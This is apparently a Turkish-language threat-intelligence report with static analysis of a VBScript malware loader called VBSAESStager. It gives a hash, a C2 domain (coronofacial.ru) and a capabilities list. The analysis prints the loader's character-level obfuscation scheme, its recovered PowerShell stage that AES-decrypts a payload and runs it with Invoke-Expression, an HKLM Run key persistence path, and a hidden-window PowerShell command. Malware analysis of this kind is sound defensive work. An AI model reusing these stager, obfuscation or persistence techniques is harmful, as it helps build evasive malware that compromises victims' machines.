Derin Statik Analiz — VBSAESStager | Tehdit: KRİTİK
Dosya Kimliği
| SHA256 | 1457e5a3b288fc4fc160a732472d591147ca44a4567f9bba41ae83dd60cab399 |
|---|---|
| Boyut | 1,440,986 byte (~1.4 MB VBScript) |
| Tür | VBScript kaynak kodu (CSV ASCII — karmaşık obfuskasyon) |
coronofacial.Ru: C2 Domain + OPSEC Hatası
C2 VE OPSEC HATASI: Geliştirici değişkeni C2 domaini ile aynı adı vermiş!
coronofacial.Ru
-- VBScript'te değişken: Set coronofacial = CreateObject("WScript.Shell")
-- Değişken adı "coronofacial" = C2 domain adıyla aynı!
-- Bu OPSEC hatası: geliştirici C2 domain adını değişken olarak da kullanmış
-- Tespit kolaylığı: "coronofacial" string'ini tara → hem değişken hem domain eşleşir
-- .Ru TLD: Rusya kayıtlı domain
-- "coronofacial" = "corona" + "facial" → anlamsız tıbbi kelime kombinasyonu (DGA benzeri)
kiley: Karakter Seviyesi VBScript Obfuskasyon Tekniği
-- Obfuskasyon şeması: her PowerShell komut karakteri "kiley" ile ayrılıyor
-- Örnek kod:
neoarctic = neoarctic & Array(
zeitgeistily(
zeitgeistily("TFGO","kurtas",""),
"TFGO","kurtas"
)
)(1 - 1)
-- "zeitgeistily" fonksiyonu: karakter değiştirme/decode işlemi
-- "TFGO" = encoded karakter
-- "kurtas" = XOR veya substitution anahtarı
-- "kiley" = karakter ayırıcı delimiter (her gerçek karakter arasında)
-- Decode süreci:
1. "kiley" delimiter karakterlerini kaldır
2. "TFGO"→"kurtas" dönüşümü uygula
3. PowerShell string ortaya çıkar
4. neoarctic değişkenine karakterler birer birer eklenir
-- Bu teknik: YARA regex'lerini kırar (gerçek string tek bir yerde görünmez)
-- 1.4MB VBScript = 11,914 satır bu obfuskasyondan oluşuyor!
AES-CBC: Gömülü Şifreli PowerShell Sahne
-- Obfuskasyon çözüldükten sonra ortaya çıkan PowerShell kodu:
[System.Security.Cryptography.Aes]::Create()
$macrosporoid.Key = $absterge
$macrosporoid.IV = $copublishes
-- Key dolgu (32 byte = AES-256):
if ($absterge.Length -lt 32) {
$absterge = $absterge + (0..(31 - $absterge.Length))
}
-- IV çıkarma (ilk 16 byte):
$decentralising = [System.Convert]::FromBase64String(...)
$copublishes = $decentralising[0..15] -- 16-byte IV
$moisturizing = $decentralising[16..($decentralising.Length-1)] -- ciphertext
-- Çözme ve çalıştırma:
$hangmen = [System.Text.Encoding]::UTF8.GetString(
$macrosporoid.CreateDecryptor().TransformFinalBlock($moisturizing,0,$moisturizing.Length)
)
Invoke-Expression $hangmen -- çözülen payload doğrudan çalıştırılıyor!
-- Format: [16-byte IV] + [AES-256-CBC ciphertext] hepsi base64 encodedli
Kalıcılık + Dosya Kopyalama
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (kalıcılık) -- Sistem genelinde Run key → tüm kullanıcılarda çalışır powershell -nop -w hidden -c Copy-Item -LiteralPath '<kaynak>' -Destination '<hedef>' -Force -- Gizli PowerShell ile dosya kopyalama (dropper aşaması) -- "-nop" = NoProfile, "-w hidden" = gizli pencere -- LiteralPath: özel karakter içeren yollar için güvenli parametre
IOC
| SHA256 | 1457e5a3b288fc4fc160a732472d591147ca44a4567f9bba41ae83dd60cab399 |
|---|---|
| C2 | coronofacial.ru |
VBSAESStager — Malware Profile
VBScript AES stager. coronofacial.Ru C2. kiley-delimiter character-level obfuscation. AES-CBC IV first-16-bytes from base64 blob. Invoke-Expression decrypted payload. HKLM Run key persistence.
Malware Type
Loader
Programming Language
VBScript
C2 Protocol
HTTP
Target Systems
Küresel
Capabilities & Behavior
Payload İndirme
Süreç Enjeksiyonu
Modüler Mimari
Kimlik Bilgisi Hırsızlığı
Yanal Hareket
Kalıcılık
Anti-VM/Sandbox
İkincil Payload Dağıtımı
IOC List (2 indicators)
IOC — VBSAESStager
# SHA256
1457e5a3b288fc4fc160a732472d591147ca44a4567f9bba41ae83dd60cab399
# SHA256
1457e5a3b288fc4fc160a732472d591147ca44a4567f9bba41ae83dd60cab399
| Type | Value | Note |
|---|---|---|
| sha256 | 1457e5a3b288fc4fc160a732472d591147ca44a4567f9bba41ae83dd60cab399 | |
| sha256 | 1457e5a3b288fc4fc160a732472d591147ca44a4567f9bba41ae83dd60cab399 |
C2 Servers (1 recorded servers for this family)
| Address | Type | Port | Protocol | Status | Country |
|---|---|---|---|---|---|
| coronofacial.ru | domain | 80 | HTTP | inactive | — |
C2 addresses are provided only from malware samples manually verified by the KEYDAL team. Commercial use is prohibited.